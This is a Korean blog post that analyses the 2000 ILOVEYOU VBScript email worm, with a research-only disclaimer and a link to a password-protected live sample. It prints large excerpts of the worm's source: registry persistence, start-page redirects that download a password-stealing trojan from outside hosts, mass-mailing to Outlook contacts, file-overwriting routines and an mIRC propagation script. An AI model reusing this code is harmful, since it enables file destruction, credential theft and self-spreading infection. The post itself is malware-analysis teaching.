KOROMOON

착한 사마리아인이 되고 싶습니다.

2/15/2020

전설적인 웜 ILOVEYOU Worm


※ 주의사항 : 
악용하지 마세요!!!
해당 글은 연구 목적으로 기재하였습니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.



( 1 ) ILOVEYOU Worm

2000 년 5월 4일에 발생된 VBScript 로 작성된 Email Worm 임.
5 천만 건 이상 컴퓨터가 감염되었으며 악명높은 악성코드 10 위 안에 포함될 정도로 파괴력이 컸음.
그 후에도 해당 코드를 가지고 변종 악성코드가 생겨남.

I Love You 메일에 LOVE-LETTER-FOR-YOU.TXT.vbs 라는 파일이 첨부되어서 보냄.

LOVE-LETTER-FOR-YOU.TXT.vbs 실행되는 순간 간염됨.
가장 먼저 Outlook에 등록되어 있는 모든 메일주소로 위의 내용을 그대로 복제해서 보냄.
확장자가 vbs, vbe, js, css, wsh, sct, hta, jpg, jpeg, mp2, mp3 인 모든 파일에 자신을 그대로 덮어씌워서 "I Love You" 란 내용만이 적힌 스크립트 파일로 변해버리면서 원래있던 데이터는 모두 삭제됨. (참고로 mp2, mp3 파일은 원본을 숨김)
그 밖에 레지스트리 등록, IRC 전파 등 악의적인 행위를 많이 함.

샘플 다운로드 링크(암호 : koromoon1004) :

https://drive.google.com/file/d/16SkW8YUnZLAHdCE-M37KPjEva8_-kXdK/view?usp=sharing



( 2 ) 코드 분석


1. MSKernel32.vbs, Win32Dll.vbs 생성하고 시작시 자동으로 실행되도록 설정함

Set fso =CreateObject("Scripting.FileSystemObject")
Set dirwin =fso.GetSpecialFolder(0)
Set dirsystem =fso.GetSpecialFolder(1)
Set c =fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
...
regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem&"\MSKernel32.vbs"
regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin&"\Win32DLL.vbs"

2. 트로이목마를 이용하여 패스워드 훔치기

Randomize num =Int((4 * Rnd) + 1)
if num =1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"hxxp://xxx.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num =2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"hxxp://xxx.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num =3 then
...
end if
...
regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"

3. Outlook 주소록에 있는 모든 사람에게 메일 발송​

set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
...
Set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject ="ILOVEYOU"
male.Body =vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
...
x=x+1
next

4. js, jse, css, wsh, sct, hta 확장자를 vbs 로 바꾸어 덮어쓰기​

set f =fso.GetFolder(folderspec)
set fc =f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or
(ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)

5. jpeg, jpg, mp2, mp3 파일에도 vbs 확장자로 바꾸어 덮어쓰기

(참고로 mp2, mp3 파일은 원본을 숨김)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if

6. htm 파일을 전송하는 IRC 스크립트 만들기

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s=3D"mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will
corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. Thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";hxxp://xxx.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /
if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc
send $nick = "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close



참고 사이트 : 

https://en.wikipedia.org/wiki/ILOVEYOU



============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기